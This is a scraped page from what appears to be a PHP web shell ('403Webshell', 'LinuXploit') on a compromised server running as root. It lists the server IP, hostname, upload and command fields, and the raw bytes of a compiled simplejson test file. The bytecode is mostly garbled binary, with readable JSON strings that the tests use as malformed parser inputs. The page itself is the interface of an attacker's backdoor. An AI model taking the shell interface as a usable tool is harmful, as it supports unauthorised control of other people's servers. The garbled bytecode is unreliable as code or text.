403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/simplejson/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/simplejson/tests/__pycache__/test_fail.cpython-312.pyc
�

"Ie6��H�ddlZddlmZddlZgd�Zddd�ZGd�de�Zy)	�N)�TestCase):z<"A JSON payload should be an object or array, not a string."z["Unclosed array"z%{unquoted_key: "keys must be quoted"}z["extra comma",]z["double extra comma",,]z[   , "<-- missing value"]z["Comma after the close"],z["Extra close"]]z{"Extra comma": true,}z:{"Extra value after close": true} "misplaced quoted value"z{"Illegal expression": 1 + 2}z{"Illegal invocation": alert()}z+{"Numbers cannot have leading zeroes": 013}z{"Numbers cannot be hex": 0x14}z"["Illegal backslash escape: \x15"]z[\naked]z"["Illegal backslash escape: \017"]z2[[[[[[[[[[[[[[[[[[[["Too deep"]]]]]]]]]]]]]]]]]]]]z{"Missing colon" null}z{"Double colon":: null}z {"Comma instead of colon", null}z!["Colon instead of comma": false]z["Bad value", truth]z['single quote']z["	tab	character	in	string	"]z&["tab\   character\   in\  string\  "]z["line
break"]z["line\
break"]z[0e]z[0e+]z[0e+-1]z({"Comma instead if closing brace": true,z["mismatch"}z$["AZ control characters in string"]�{z{]z{"foo": "bar"]z
{"foo": "bar"�nul�nulx�-z-xz-ez-e0z	-Infinitez-Inf�Infinit�Infinite�NaM�NuN�falsy�fal�trug�tru�1e�1exz1e-z1e-xzwhy not have a string payload?z,spec doesn't specify any nesting limitations)��c��eZdZd�Zd�Zd�Zy)�TestFailc��tt�D]T\}}|dz}|tvrtj|��)	tj|�|jd||fz��Vy#tj$rY�mwxYw)Nrz$Expected failure for fail%d.json: %r)�	enumerate�JSONDOCS�SKIPS�json�loads�fail�JSONDecodeError)�self�idx�docs   �</usr/lib/python3/dist-packages/simplejson/tests/test_fail.py�
test_failureszTestFail.test_failuresms}��!�(�+�
	O�H�C����'�C��e�|��
�
�3���
O��
�
�3���	�	�@�C��:�M�N�
	O���'�'�
��
�s�A(�(A>�=A>c���dD])}	tj|�|jd��+y#tj$rnt	j
�d}|j
|jd�|j
|jd�|j
|jd�Y��t$r1t	j
�d}|jd|�d|���Y��wxYw)N)�[,]r$z Unexpected success parsing '[,]'r��Unexpected exception raised � )rrrr�sys�exc_info�assertEqual�pos�lineno�colno�	Exception)rr �es   r!�test_array_decoder_issue46z#TestFail.test_array_decoder_issue46zs���"�	>�C�
>��
�
�3���	�	�<�=�	>���'�'�
-��L�L�N�1�%��� � �����*�� � ����1�-�� � ����!�,��
H��L�L�N�1�%���	�	��A�F�G�
H�s�0�A>C)�06C)�(C)c� �gd�}|D]1\}}}	tj|�|jd|�d���3y#tj$r�t	j
�d}|j
|jdt|�||j�d|�d|���|j
|j|d|j�d|�d|���Y��t$r2t	j
�d}|jd	|�d
|���Y��wxYw)N))��Expecting valuer)�[zExpecting value or ']'r)z[42�Expecting ',' delimiter�)z[42,r3�)z["�Unterminated string starting atr)z["spamr8r)z["spam"r5�)z["spam",r3�)rz8Expecting property name enclosed in double quotes or '}'r)z{"r8r)z{"spamr8r)z{"spam"zExpecting ':' delimiterr9)z{"spam":r3r:)z
{"spam":42r5�
)z{"spam":42,z1Expecting property name enclosed in double quotes�)�"r8r)z"spamr8r)z[,r3r)z--r3r)z"dzInvalid control character %rrzUnexpected success parsing '�'rz doesn't start with z for zpos z != r&r')rrrrr(r)r*�msg�lenr+r.)r�
test_cases�datar?rr/s      r!�test_truncated_inputzTestFail.test_truncated_input�s���
�
�.)�	G�N�D�#�s�
G��
�
�4� ��	�	�t�E�F�!	G���'�'�
@��L�L�N�1�%��� � ��E�E�)�3�s�8�$��9:����T�J�L�� � ��E�E�3�-.�U�U�C��>�@��
H��L�L�N�1�%���	�	��A�F�G�
H�s�<�BD
�6D
�D
N)�__name__�
__module__�__qualname__r"r0rC��r!rrls��O�>� (GrHr)r(�unittestr�
simplejsonrrrrrGrHr!�<module>rKs6��
���^��B(�6�	��
FG�x�FGrH

Youez - 2016 - github.com/yon3zu
LinuXploit